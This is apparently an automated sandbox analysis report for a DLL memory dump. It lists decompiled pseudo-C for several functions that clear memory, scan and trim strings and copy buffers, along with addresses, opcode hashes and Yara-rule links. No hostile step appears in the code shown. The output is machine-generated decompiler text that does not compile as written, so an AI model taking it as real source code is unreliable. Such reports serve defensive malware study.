									__eflags = _t551 -  *((intOrPtr*)(_t534 + 0x14));
								} while (_t551 <  *((intOrPtr*)(_t534 + 0x14)));
								_t370 =  *_t563;
								_t559 =  *((intOrPtr*)(_t563 + 4));
							}
							 *_t563 = 0;
							_push(0);
							E6F009350(_t563 + 0x150);
							_t550 = _t563 + 4;
							 *((intOrPtr*)(_t550 + 0x158)) = 0;
							 *((intOrPtr*)(_t550 + 0x15c)) = 0;
							 *((intOrPtr*)(_t550 + 0x160)) = 0;
							 *((intOrPtr*)(_t550 + 0x164)) = 0;
							E6EFF0B70(_t550, 0, 0x40);
							E6EFF0B70(_t563 + 0x50, 0, 0x108);
							_t564 = _t563 + 0x18;
							_push(_t370);
							E6F013CE0(_t564 + 4, __eflags);
							_push(_t564 + 0x3e4);
							E6F014170(_t564 + 4);
							_t371 = _t564 + 0x16c;
							_push(_t371);
							E6F013EF0(_t564 + 4);
							_push(_t371);
							_t193 = _t559 + 0x10; // 0x10
							E6F009520(_t193);
							E6F009510(_t371);
							_t195 = _t559 + 8; // 0x8
							E6F000B30(_t195, _t523,  *((intOrPtr*)(_t564 + 0x454)));
							E6F000B30(_t559, _t523,  *((intOrPtr*)(_t564 + 0x44c)));
							E6F012970(_t371, _t564 + 0x15c, _t534);
							_t461 =  *((intOrPtr*)(_t564 + 0x168));
							__eflags =  *((intOrPtr*)(_t564 + 0x168));
							if( *((intOrPtr*)(_t564 + 0x168)) != 0) {
								E6EFE2A20(_t461, 1);
							}
							E6F009510(_t564 + 0x14c);
							E6F007560(_t564 + 0x410, _t534, _t550);
							E6F009510(_t564 + 0x400);
							E6F009510(_t564 + 0x3f0);
							E6F000B10(_t564 + 0x3e4);
							E6F009510(_t564 + 0x430);
							E6F000B10(_t564 + 0x45c);
							E6F000B10(_t564 + 0x454);
							E6F000B10(_t564 + 0x44c);
							E6F007560(_t564 + 0x440, _t534, _t550);
							return 1;
						} else {
							_t340 = E6EFE9E70(_t370, _t559, __eflags);
							E6F009510(_t563 + 0x430);
							E6F000B10(_t563 + 0x45c);
							E6F000B10(_t563 + 0x454);
							E6F000B10(_t563 + 0x44c);
							E6F007560(_t563 + 0x440, _t533, _t543);
							return _t340;
						}
						goto L60;
						L35:
						_t541 = _t542 + 1;
					}
				}
				L60:
			}

0x6efe9e70
0x6efe9e7a
0x6efe9e7e
0x6efe9e8e
0x6efe9eb2
0x6efe9eb7
0x6efe9eb9
0x6efea2cc
0x6efea2cc
0x6efea2d8
0x6efe9ebf
0x6efe9ec1
0x6efe9ec6
0x6efe9eca
0x00000000
0x6efe9ed0
0x6efe9ed0
0x00000000
0x6efe9ed0
0x6efe9eca
0x6efe9e9d
0x6efe9e9d
0x6efe9ed8
0x6efe9eda
0x6efe9ee1
0x6efe9ee8
0x6efe9ef7
0x6efe9f03
0x6efe9f18
0x6efe9f2b
0x6efe9f3f
0x6efe9f4f
0x6efe9f56
0x6efe9f62
0x6efe9f6e
0x6efe9f7a
0x6efe9f83
0x6efe9f86
0x6efe9f8a
0x6efe9f8d
0x6efe9f94
0x6efe9f99
0x6efe9fa9
0x6efe9fab
0x6efe9faf
0x6efe9fb6
0x6efe9fb6
0x6efe9fbd
0x6efe9fc7
0x6efe9fd4
0x6efe9fee
0x6efe9ff5
0x6efea001
0x6efea014
0x00000000
0x6efea016
0x6efea016
0x6efea016
0x6efea014
0x6efea021
0x6efea02e
0x6efea030
0x6efea039
0x6efea044
0x6efea040
0x6efea040
0x6efea040
0x6efea04b
0x6efea04e
0x6efea04e
0x6efea04b
0x6efea053
0x6efea065
0x6efea075
0x6efea07c
0x6efea083
0x6efea08f
0x6efea09f
0x6efea0a3
0x6efea0a6
0x6efea0aa
0x6efea0ac
0x6efea0b0
0x6efea0c0
0x6efea0c2
0x6efea0cf
0x00000000
0x00000000
0x6efea0de
0x6efea0ea
0x6efea10a
0x6efea116
0x6efea132
0x6efea148
0x6efea164
0x6efea170
0x6efea17e
0x6efea191
0x6efea263
0x6efea26a
0x6efea271
0x6efea274
0x6efea277
0x6efea27c
0x6efea284
0x6efea28d
0x6efea28d
0x6efea197
0x6efea19f
0x6efea1a5
0x6efea1ab
0x6efea1af
0x6efea1b6
0x6efea1c3
0x6efea1c8
0x6efea1e4
0x6efea1ed
0x6efea1f2
0x6efea1f8
0x6efea1fa
0x6efea203
0x6efea207
0x00000000
0x6efea209
0x6efea209
0x6efea20d
0x6efea20f
0x6efea20f
0x6efea20d
0x00000000
0x6efea207
0x6efea212
0x6efea212
0x6efea213
0x6efea21c
0x6efea220
0x6efea222
0x6efea222
0x6efea23a
0x6efea246
0x6efea253
0x6efea25c
0x6efea25c
0x6efea253
0x6efea299
0x6efea2a5
0x6efea2b8
0x6efea2c1
0x00000000
0x6efea2c1
0x6efea2e2
0x6efea2e5
0x6efea2ee
0x6efea300
0x6efea322
0x6efea32e
0x6efea33a
0x6efea348
0x6efea356
0x6efea374
0x6efea392
0x6efea3a0
0x6efea3ac
0x6efea3d1
0x6efea3dd
0x6efea3f9
0x6efea40f
0x6efea414
0x6efea41c
0x6efea425
0x6efea425
0x6efea431
0x6efea442
0x6efea444
0x6efea4a3
0x6efea4a8
0x6efea4b1
0x6efea4b6
0x6efea4bf
0x6efea4c6
0x6efea4cd
0x6efea4cf
0x6efea4d2
0x6efea4d5
0x6efea4e1
0x6efea4ed
0x6efea4f2
0x6efea4f7
0x6efea513
0x6efea518
0x6efea52a
0x6efea52f
0x6efea52f
0x6efea52f
0x6efea4f9
0x6efea50e
0x6efea50e
0x6efea54d
0x6efea552
0x6efea57b
0x6efea595
0x6efea59a
0x6efea59e
0x6efea5a0
0x6efea5a3
0x6efea5a3
0x6efea5a5
0x6efea5a9
0x6efea5ab
0x6efea5d4
0x6efea5d9
0x6efea5da
0x6efea5da
0x6efea5df
0x6efea5e2
0x6efea5e2
0x6efea5fb
0x6efea600
0x6efea604
0x6efea606
0x6efea609
0x6efea609
0x6efea60b
0x6efea60f
0x6efea611
0x6efea628
0x6efea64e
0x6efea651
0x6efea652
0x6efea652
0x6efea657
0x6efea65a
0x6efea65a
0x6efea66a
0x6efea671
0x6efea673
0x6efea678
0x6efea67c
0x6efea67e
0x6efea681
0x6efea681
0x6efea683
0x6efea687
0x6efea689
0x6efea6a1
0x6efea6bb
0x6efea6c0
0x6efea6c4
0x6efea6c9
0x6efea6ca
0x6efea6cc
0x6efea6cc
0x6efea6d1
0x6efea6d4
0x6efea6d4
0x6efea6da
0x6efea6dd
0x6efea6e5
0x6efea6ec
0x6efea6f0
0x6efea6f6
0x6efea6fc
0x6efea702
0x6efea70c
0x6efea71d
0x6efea722
0x6efea725
0x6efea72a
0x6efea736
0x6efea73b
0x6efea740
0x6efea747
0x6efea74c
0x6efea751
0x6efea752
0x6efea755
0x6efea75c
0x6efea768
0x6efea76b
0x6efea779
0x6efea785
0x6efea78a
0x6efea791
0x6efea793
0x6efea797
0x6efea797
0x6efea7a3
0x6efea7af
0x6efea7bb
0x6efea7c7
0x6efea7d3
0x6efea7df
0x6efea7eb
0x6efea7f7
0x6efea803
0x6efea80f
0x6efea823
0x6efea446
0x6efea44a
0x6efea458
0x6efea464
0x6efea470
0x6efea47c
0x6efea488
0x6efea499
0x6efea499
0x00000000
0x6efea2c6
0x6efea2c6
0x6efea2c6
0x6efea0ac
0x00000000

Strings

@, xrefs: 6EFEA513

Memory Dump Source

Source File: 00000000.00000002.888568308.000000006EFE1000.00000020.00020000.sdmp, Offset: 6EFE0000, based on PE: true

Associated: 00000000.00000002.888087050.000000006EFE0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.894194867.000000006F015000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.895199607.000000006F01B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.895701456.000000006F01C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 0e89e64cb516fb38eb9e935d4edd4c01471e069360b551fe2dd29d16dac6d5dc
Instruction ID: 8996bf467069ac3951a62b4e2747e274d16482a4b669fdb255a5500b4b480a7e
Opcode Fuzzy Hash: 0e89e64cb516fb38eb9e935d4edd4c01471e069360b551fe2dd29d16dac6d5dc
Instruction Fuzzy Hash: 933240B11183859BE735EF60C8A0BEFB3E5AF91308F40482DD28A571E1EF716949CB56

Uniqueness

Uniqueness Score: -1.00%

Function 6F004CA0, Relevance: 1.6, Strings: 1, Instructions: 358
COMMONCrypto

Download Yara Rule

C-Code - Quality: 90%

			E6F004CA0(signed int* __ecx, intOrPtr* _a4) {
				char _v28;
				unsigned int _v32;
				void* _v36;
				unsigned int _t70;
				char* _t75;
				signed int _t78;
				signed int _t81;
				intOrPtr _t85;
				intOrPtr _t86;
				char _t88;
				void* _t89;
				intOrPtr* _t90;
				signed int _t92;
				void* _t98;
				void* _t99;
				signed int _t101;
				char _t102;
				char _t103;
				char _t104;
				signed int _t106;
				signed int _t107;
				signed int _t110;
				char* _t111;
				void* _t112;
				signed int _t115;
				char _t116;
				char _t117;
				char _t118;
				char _t119;
				char _t120;
				void* _t122;
				char* _t123;
				char _t133;
				char _t134;
				char _t136;
				char _t137;
				char* _t139;
				void* _t140;
				signed int _t142;
				char _t146;
				signed int _t148;
				signed int _t154;
				unsigned int _t155;
				char _t157;
				char _t158;
				char* _t161;
				char* _t162;
				intOrPtr* _t169;
				unsigned int _t170;
				void* _t171;
				signed int _t172;
				void* _t174;

				_t174 = (_t172 & 0xfffffff0) - 0x14;
				_t70 =  *0x6f01a24c; // 0xa0d0920
				_t119 =  *0x6f01a250; // 0x0
				_v32 = _t70;
				_v28 = _t119;
				_t101 =  *__ecx;
				if(_t101 == 0) {
					_t120 = 0;
					_t88 = 0;
				} else {
					_t142 = _t101 & 0x0000000f;
					if(_t142 == 0) {
						L5:
						asm("pxor xmm0, xmm0");
						_t98 =  ~( ~_t142 + 0x0000000f & 0x0000000f) + 0x7fffffff;
						while(1) {
							asm("movdqu xmm1, [ecx+edx]");
							asm("pcmpeqb xmm1, xmm0");
							asm("pmovmskb eax, xmm1");
							if(_t70 != 0) {
								break;
							}
							_t142 = _t142 + 0x10;
							if(_t142 < _t98) {
								continue;
							} else {
								if(_t98 >= 0x7fffffff) {
									L11:
									_t88 = 0x7fffffff;
									goto L12;
								} else {
									while( *((char*)(_t98 + _t101)) != 0) {
										_t98 = _t98 + 1;
										if(_t98 < 0x7fffffff) {
											continue;
										} else {
											goto L11;
										}
										goto L18;
									}
									goto L102;
								}
							}
							goto L18;
						}
						asm("bsf ebx, eax");
						_t88 = _t98 + _t142;
						goto L102;
					} else {
						_t88 = 0;
						_t142 =  ~_t142 + 0x10;
						while( *((char*)(_t88 + _t101)) != 0) {
							_t88 = _t88 + 1;
							if(_t88 < _t142) {
								continue;
							} else {
								goto L5;
							}
							goto L18;
						}
						L102:
						if(_t88 > 0) {
							L12:
							_t120 = 0;
							_t155 = _v32;
							_t171 = 0;
							_v36 = _t88;
							while(_t155 != 0) {
								_t86 =  *((intOrPtr*)(_t120 + _t101));
								_t99 = 0;
								while(_t86 !=  *((intOrPtr*)(_t174 + _t99 + 4))) {
									_t99 = _t99 + 1;
									if( *((char*)(_t174 + _t99 + 4)) != 0) {
										continue;
									}
									goto L17;
								}
								_t171 = _t171 + 1;
								_t120 = _t120 + 1;
								if(_t171 < _v36) {
									continue;
								} else {
									break;
								}
								L106:
							}
							L17:
							_t88 = _v36;
						} else {
							_t120 = 0;
						}
						goto L18;
						L93:
						return _t90;
						goto L106;
					}
				}
				L18:
				_t89 = _t88 - 1;
				_t146 = _t88 - _t120;
				if(_t89 >= _t120) {
					_t170 = _v32;
					_v36 = _t120;
					while(_t170 != 0) {
						_t85 =  *((intOrPtr*)(_t89 + _t101));
						_t140 = 0;
						while(_t85 !=  *((intOrPtr*)(_t174 + _t140 + 4))) {
							_t140 = _t140 + 1;
							if( *((char*)(_t174 + _t140 + 4)) != 0) {
								continue;
							}
							goto L24;
						}
						_t89 = _t89 - 1;
						_t146 = _t146 - 1;
						if(_t89 >= _v36) {
							continue;
						} else {
							break;
						}
						goto L93;
					}
					L24:
					_t120 = _v36;
				}
				_t90 = _a4;
				if(_t146 != 0) {
					if(_t101 == 0) {
						_t157 = 0;
					} else {
						_t81 = _t101 & 0x0000000f;
						if(_t81 == 0) {
							L39:
							asm("pxor xmm0, xmm0");
							_t157 =  ~( ~_t81 + 0x0000000f & 0x0000000f) + 0x7fffffff;
							while(1) {
								asm("movdqu xmm1, [ecx+eax]");
								asm("pcmpeqb xmm1, xmm0");
								asm("pmovmskb ebx, xmm1");
								if(_t90 != 0) {
									break;
								}
								_t81 = _t81 + 0x10;
								if(_t81 < _t157) {
									continue;
								} else {
									_t90 = _a4;
									if(_t157 >= 0x7fffffff) {
										L45:
										_t157 = 0x7fffffff;
									} else {
										while( *((char*)(_t157 + _t101)) != 0) {
											_t157 = _t157 + 1;
											if(_t157 < 0x7fffffff) {
												continue;
											} else {
												goto L45;
											}
											goto L46;
										}
									}
								}
								goto L46;
							}
							_t169 = _t90;
							asm("bsf esi, esi");
							_t90 = _a4;
							_t157 = _t169 + _t81;
						} else {
							_t157 = 0;
							_t81 =  ~_t81 + 0x10;
							while( *((char*)(_t157 + _t101)) != 0) {
								_t157 = _t157 + 1;
								if(_t157 < _t81) {
									continue;
								} else {
									goto L39;
								}
								goto L46;
							}
						}
					}
					L46:
					_t121 =  <=  ? 0 : _t120;
					_t122 =  <  ? _t157 :  <=  ? 0 : _t120;
					_t158 = _t157 - _t122;
					if(_t146 < 0 || _t146 > _t158) {
						_t146 = _t158;
					}
					 *_t90 = 0;
					 *(_t90 + 4) = 0;
					_t161 = _t122 + _t101;
					if(_t161 == 0 ||  *(_t101 + _t122) == 0) {
						_push(0x40);
						_t162 = E6EFF1030();
						_t174 = _t174 + 4;
						_t123 =  *_t90;
						if(_t123 == 0) {
							 *_t162 = 0;
						} else {
							if(_t162 != 0) {
								_t102 =  *_t123;
								 *_t162 = _t102;
								if(_t102 != 0) {
									_t148 = 0;
									while(1) {
										_t148 = _t148 + 1;
										_t103 =  *((char*)(_t123 + _t148 * 2 - 1));
										 *((char*)(_t162 + _t148 * 2 - 1)) = _t103;
										if(_t103 == 0) {
											goto L90;
										}
										_t104 =  *((char*)(_t123 + _t148 * 2));
										 *((char*)(_t162 + _t148 * 2)) = _t104;
										if(_t104 != 0) {
											continue;
										}
										goto L90;
									}
								}
							}
							L90:
							_push(1);
							_push(_t123);
							E6EFF10B0();
							_t174 = _t174 + 8;
						}
						goto L92;
					} else {
						if(_t146 == 0) {
							_t115 = _t101 + _t122;
							_t78 = _t115 & 0x0000000f;
							if(_t78 == 0) {
								L56:
								asm("pxor xmm0, xmm0");
								_t146 =  ~( ~_t78 + 0x0000000f & 0x0000000f) + 0x7fffffff;
								while(1) {
									asm("movdqu xmm1, [ecx+eax]");
									asm("pcmpeqb xmm1, xmm0");
									asm("pmovmskb edx, xmm1");
									if(_t122 != 0) {
										break;
									}
									_t78 = _t78 + 0x10;
									if(_t78 < _t146) {
										continue;
									} else {
										if(_t146 >= 0x7fffffff) {
											L62:
											_t146 = 0x7fffffff;
										} else {
											while( *((char*)(_t146 + _t115)) != 0) {
												_t146 = _t146 + 1;
												if(_t146 < 0x7fffffff) {
													continue;
												} else {
													goto L62;
												}
												goto L63;
											}
										}
									}
									goto L63;
								}
								asm("bsf edi, edx");
								_t146 = _t146 + _t78;
							} else {
								_t146 = 0;
								_t78 =  ~_t78 + 0x10;
								while( *((char*)(_t146 + _t115)) != 0) {
									_t146 = _t146 + 1;
									if(_t146 < _t78) {
										continue;
									} else {
										goto L56;
									}
									goto L63;
								}
							}
						}
						L63:
						_t36 = _t146 + 1; // 0x80000000
						_t106 =  <=  ? 0x40 : _t36;
						if(_t106 > 0) {
							_v32 = (_t106 >> 5 >> 0x1a) + _t106 >> 6;
							_t107 = _t106 & 0x8000003f;
							if(_t107 < 0) {
								_t107 = (_t107 - 0x00000001 | 0xffffffc0) + 1;
							}
							_t110 = _v32 + (0 | _t107 > 0x00000000) << 6;
							_v32 = _t110;
							_push(_t110);
							_t75 = E6EFF1030();
							_t174 = _t174 + 4;
							_t111 =  *_t90;
							if(_t111 == 0) {
								 *_t75 = 0;
							} else {
								if(_t75 != 0) {
									_t134 =  *_t111;
									 *_t75 = _t134;
									if(_t134 != 0) {
										_v36 = _t161;
										_t92 = 0;
										while(1) {
											_t92 = _t92 + 1;
											_t136 =  *((char*)(_t111 + _t92 * 2 - 1));
											 *((char*)(_t75 + _t92 * 2 - 1)) = _t136;
											if(_t136 == 0) {
												break;
											}
											_t137 =  *((char*)(_t111 + _t92 * 2));
											 *((char*)(_t75 + _t92 * 2)) = _t137;
											if(_t137 != 0) {
												continue;
											}
											break;
										}
										_t161 = _v36;
										_t90 = _a4;
									}
								}
								_push(1);
								_push(_t111);
								_v36 = _t75;
								E6EFF10B0();
								_t75 = _v36;
								_t174 = _t174 + 8;
							}
							 *(_t90 + 4) = _v32;
							 *_t90 = _t75;
						} else {
							_t75 = 0;
						}
						if(_t75 != 0) {
							_t112 = 0;
							while(1) {
								_t133 =  *_t161;
								_t112 = _t112 + 1;
								 *_t75 = _t133;
								if(_t146 != 0 && _t112 == _t146) {
									break;
								}
								if(_t133 != 0) {
									_t75 = _t75 + 1;
									_t161 = _t161 + 1;
									continue;
								}
								goto L93;
							}
							 *((char*)(_t75 + 1)) = 0;
						}
					}
				} else {
					_push(0x40);
					 *_t90 = 0;
					 *(_t90 + 4) = 0;
					_t162 = E6EFF1030();
					_t174 = _t174 + 4;
					_t139 =  *_t90;
					if(_t139 == 0) {
						 *_t162 = 0;
					} else {
						if(_t162 != 0) {
							_t116 =  *_t139;
							 *_t162 = _t116;
							if(_t116 != 0) {
								_t154 = 0;
								while(1) {
									_t154 = _t154 + 1;
									_t117 =  *((char*)(_t139 + _t154 * 2 - 1));
									 *((char*)(_t162 + _t154 * 2 - 1)) = _t117;
									if(_t117 == 0) {
										goto L32;
									}
									_t118 =  *((char*)(_t139 + _t154 * 2));
									 *((char*)(_t162 + _t154 * 2)) = _t118;
									if(_t118 != 0) {
										continue;
									}
									goto L32;
								}
							}
						}
						L32:
						_push(1);
						_push(_t139);
						E6EFF10B0();
						_t174 = _t174 + 8;
					}
					L92:
					 *(_t90 + 4) = 0x40;
					 *_t90 = _t162;
				}
				goto L93;
			}

0x6f004ca9
0x6f004cac
0x6f004cb1
0x6f004cb7
0x6f004cbb
0x6f004cbf
0x6f004cc3
0x6f00508e
0x6f005090
0x6f004cc9
0x6f004ccb
0x6f004cce
0x6f004ce6
0x6f004cea
0x6f004cf6
0x6f004cfc
0x6f004cfc
0x6f004d01
0x6f004d05
0x6f004d0b
0x00000000
0x00000000
0x6f004d11
0x6f004d16
0x00000000
0x6f004d18
0x6f004d1e
0x6f004d33
0x6f004d33
0x00000000
0x6f004d20
0x6f004d20
0x6f004d2a
0x6f004d31
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f004d31
0x00000000
0x6f004d20
0x6f004d1e
0x00000000
0x6f004d16
0x6f005087
0x6f00508a
0x00000000
0x6f004cd0
0x6f004cd2
0x6f004cd4
0x6f004cd7
0x6f004ce1
0x6f004ce4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f004ce4
0x6f005078
0x6f00507a
0x6f004d38
0x6f004d38
0x6f004d3a
0x6f004d3f
0x6f004d41
0x6f004d44
0x6f004d48
0x6f004d4b
0x6f004d4d
0x6f004d57
0x6f004d5d
0x00000000
0x00000000
0x00000000
0x6f004d5d
0x6f005068
0x6f005069
0x6f00506d
0x00000000
0x6f005073
0x00000000
0x6f005073
0x00000000
0x6f00506d
0x6f004d5f
0x6f004d5f
0x6f005080
0x6f005080
0x6f005080
0x00000000
0x6f005024
0x6f00502f
0x00000000
0x6f00502f
0x6f004cce
0x6f004d62
0x6f004d64
0x6f004d65
0x6f004d69
0x6f004d6b
0x6f004d70
0x6f004d73
0x6f004d77
0x6f004d7a
0x6f004d7c
0x6f004d86
0x6f004d8c
0x00000000
0x00000000
0x00000000
0x6f004d8c
0x6f005058
0x6f005059
0x6f00505d
0x00000000
0x6f005063
0x00000000
0x6f005063
0x00000000
0x6f00505d
0x6f004d8e
0x6f004d8e
0x6f004d8e
0x6f004d91
0x6f004d96
0x6f004df3
0x6f005051
0x6f004df9
0x6f004dfb
0x6f004dfe
0x6f004e12
0x6f004e16
0x6f004e22
0x6f004e28
0x6f004e28
0x6f004e2d
0x6f004e31
0x6f004e37
0x00000000
0x00000000
0x6f004e3d
0x6f004e42
0x00000000
0x6f004e44
0x6f004e44
0x6f004e4d
0x6f004e5e
0x6f004e5e
0x00000000
0x6f004e4f
0x6f004e55
0x6f004e5c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f004e5c
0x6f004e4f
0x6f004e4d
0x00000000
0x6f004e42
0x6f005042
0x6f005044
0x6f005047
0x6f00504a
0x6f004e00
0x6f004e02
0x6f004e04
0x6f004e07
0x6f004e0d
0x6f004e10
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f004e10
0x6f004e07
0x6f004dfe
0x6f004e63
0x6f004e67
0x6f004e6c
0x6f004e6f
0x6f004e73
0x6f004e79
0x6f004e79
0x6f004e7d
0x6f004e7f
0x6f004e84
0x6f004e86
0x6f004fd1
0x6f004fd8
0x6f004fda
0x6f004fdd
0x6f004fe1
0x6f005018
0x6f004fe3
0x6f004fe5
0x6f004fe7
0x6f004fea
0x6f004fee
0x6f004ff0
0x6f004ff2
0x6f004ff2
0x6f004ff3
0x6f004ff8
0x6f004ffe
0x00000000
0x00000000
0x6f005000
0x6f005004
0x6f005009
0x00000000
0x00000000
0x00000000
0x6f005009
0x6f004ff2
0x6f004fee
0x6f00500b
0x6f00500b
0x6f00500d
0x6f00500e
0x6f005013
0x6f005013
0x00000000
0x6f004e96
0x6f004e98
0x6f004e9a
0x6f004e9e
0x6f004ea1
0x6f004eb5
0x6f004eb9
0x6f004ec5
0x6f004ecb
0x6f004ecb
0x6f004ed0
0x6f004ed4
0x6f004eda
0x00000000
0x00000000
0x6f004ee0
0x6f004ee5
0x00000000
0x6f004ee7
0x6f004eed
0x6f004efe
0x6f004efe
0x00000000
0x6f004eef
0x6f004ef5
0x6f004efc
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f004efc
0x6f004eef
0x6f004eed
0x00000000
0x6f004ee5
0x6f005038
0x6f00503b
0x6f004ea3
0x6f004ea5
0x6f004ea7
0x6f004eaa
0x6f004eb0
0x6f004eb3
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f004eb3
0x6f004eaa
0x6f004ea1
0x6f004f03
0x6f004f08
0x6f004f0e
0x6f004f13
0x6f004f29
0x6f004f2d
0x6f004f33
0x6f004f3b
0x6f004f3b
0x6f004f49
0x6f004f4c
0x6f004f50
0x6f004f51
0x6f004f56
0x6f004f59
0x6f004f5d
0x6f004fa7
0x6f004f5f
0x6f004f61
0x6f004f63
0x6f004f66
0x6f004f6a
0x6f004f6e
0x6f004f71
0x6f004f73
0x6f004f73
0x6f004f74
0x6f004f79
0x6f004f7f
0x00000000
0x00000000
0x6f004f81
0x6f004f85
0x6f004f8a
0x00000000
0x00000000
0x00000000
0x6f004f8a
0x6f004f8c
0x6f004f8f
0x6f004f8f
0x6f004f6a
0x6f004f92
0x6f004f94
0x6f004f95
0x6f004f99
0x6f004f9e
0x6f004fa2
0x6f004fa2
0x6f004fae
0x6f004fb1
0x6f004f15
0x6f004f15
0x6f004f15
0x6f004fb5
0x6f004fb7
0x6f004fbd
0x6f004fbd
0x6f004fc0
0x6f004fc1
0x6f004fc5
0x00000000
0x00000000
0x6f004fcd
0x6f004fbb
0x6f004fbc
0x00000000
0x6f004fbc
0x00000000
0x6f004fcd
0x6f005032
0x6f005032
0x6f004fb5
0x6f004d98
0x6f004d9a
0x6f004d9c
0x6f004d9e
0x6f004da6
0x6f004da8
0x6f004dab
0x6f004daf
0x6f004de9
0x6f004db1
0x6f004db3
0x6f004db5
0x6f004db8
0x6f004dbc
0x6f004dbe
0x6f004dc0
0x6f004dc0
0x6f004dc1
0x6f004dc6
0x6f004dcc
0x00000000
0x00000000
0x6f004dce
0x6f004dd2
0x6f004dd7
0x00000000
0x00000000
0x00000000
0x6f004dd7
0x6f004dc0
0x6f004dbc
0x6f004dd9
0x6f004dd9
0x6f004ddb
0x6f004ddc
0x6f004de1
0x6f004de1
0x6f00501b
0x6f00501b
0x6f005022
0x6f005022
0x00000000

Strings

, xrefs: 6F004CAC

Memory Dump Source

Source File: 00000000.00000002.888568308.000000006EFE1000.00000020.00020000.sdmp, Offset: 6EFE0000, based on PE: true

Associated: 00000000.00000002.888087050.000000006EFE0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.894194867.000000006F015000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.895199607.000000006F01B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.895701456.000000006F01C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3688684798
Opcode ID: 0cd16c65527de04d954899101c85e5141fee4b807d1ea813708958d3d7b7de6f
Instruction ID: 84d0165eb7227ff5648514c158ec46f15ea4a449ae1c754a3b6a6e020a95ebc9
Opcode Fuzzy Hash: 0cd16c65527de04d954899101c85e5141fee4b807d1ea813708958d3d7b7de6f
Instruction Fuzzy Hash: 08B19F7DA0979267F715693C88D037E7AD37FE2300F29C76ECCE14B296DA3594418289

Uniqueness

Uniqueness Score: -1.00%

Function 6EFE6AD0, Relevance: .9, Instructions: 932COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.888568308.000000006EFE1000.00000020.00020000.sdmp, Offset: 6EFE0000, based on PE: true

Associated: 00000000.00000002.888087050.000000006EFE0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.894194867.000000006F015000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.895199607.000000006F01B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.895701456.000000006F01C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eed6c9341ed8cb7c6d0cd3838b8617ba1542e4395d16bf9c2aebfe82d2fe84e2
Instruction ID: eda8dfa397f25a673189af8690d4b152f0ce6701673c6d96b0e15165b112a2e6
Opcode Fuzzy Hash: eed6c9341ed8cb7c6d0cd3838b8617ba1542e4395d16bf9c2aebfe82d2fe84e2
Instruction Fuzzy Hash: 9F8251711183819BE725EF60C8A0BEFB3E5AFD5308F50492DE59A472E0EF70A945CB52

Uniqueness

Uniqueness Score: -1.00%

Function 6F0050A0, Relevance: .8, Instructions: 835COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.888568308.000000006EFE1000.00000020.00020000.sdmp, Offset: 6EFE0000, based on PE: true

Associated: 00000000.00000002.888087050.000000006EFE0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.894194867.000000006F015000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.895199607.000000006F01B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.895701456.000000006F01C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 705ff9420d3a62a2a56a4b697744ffc8e3030b35af2648227333f72378353e2b
Instruction ID: e170a849d958b2f6b7367624d2a701ddcde8bbce625c8a1218a5928272987dd7
Opcode Fuzzy Hash: 705ff9420d3a62a2a56a4b697744ffc8e3030b35af2648227333f72378353e2b
Instruction Fuzzy Hash: 1B6227786087428BF705DF2CC89076ABBE2BFC6310F14866EE8A59B351E775D941CB42

Uniqueness

Uniqueness Score: -1.00%

Function 6EFF5B60, Relevance: .8, Instructions: 810COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.888568308.000000006EFE1000.00000020.00020000.sdmp, Offset: 6EFE0000, based on PE: true

Associated: 00000000.00000002.888087050.000000006EFE0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.894194867.000000006F015000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.895199607.000000006F01B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.895701456.000000006F01C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b43743e61bf46ea8ddd175c327641255633926b854f46a5e750bd8c50cf8391a
Instruction ID: 61f7652376eec1713f0ef6b3d3f062539df66f9306ad09d07d6349307e7487c4
Opcode Fuzzy Hash: b43743e61bf46ea8ddd175c327641255633926b854f46a5e750bd8c50cf8391a
Instruction Fuzzy Hash: E252B531618342DBE724EFA5C8B0B9F73A5AF80308F11892DA555572F5EF30D946CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6F007FC0, Relevance: .7, Instructions: 711COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.888568308.000000006EFE1000.00000020.00020000.sdmp, Offset: 6EFE0000, based on PE: true

Associated: 00000000.00000002.888087050.000000006EFE0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.894194867.000000006F015000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.895199607.000000006F01B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.895701456.000000006F01C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c76acd60678bb96f26b5e0d37bd27300dfdf6a640e895f3b9d1efbfc3318f078
Instruction ID: 0904edba4e2bc039fc2f7d8161a332b0b1eca3b1a5021a2720f02c0926abf03f
Opcode Fuzzy Hash: c76acd60678bb96f26b5e0d37bd27300dfdf6a640e895f3b9d1efbfc3318f078
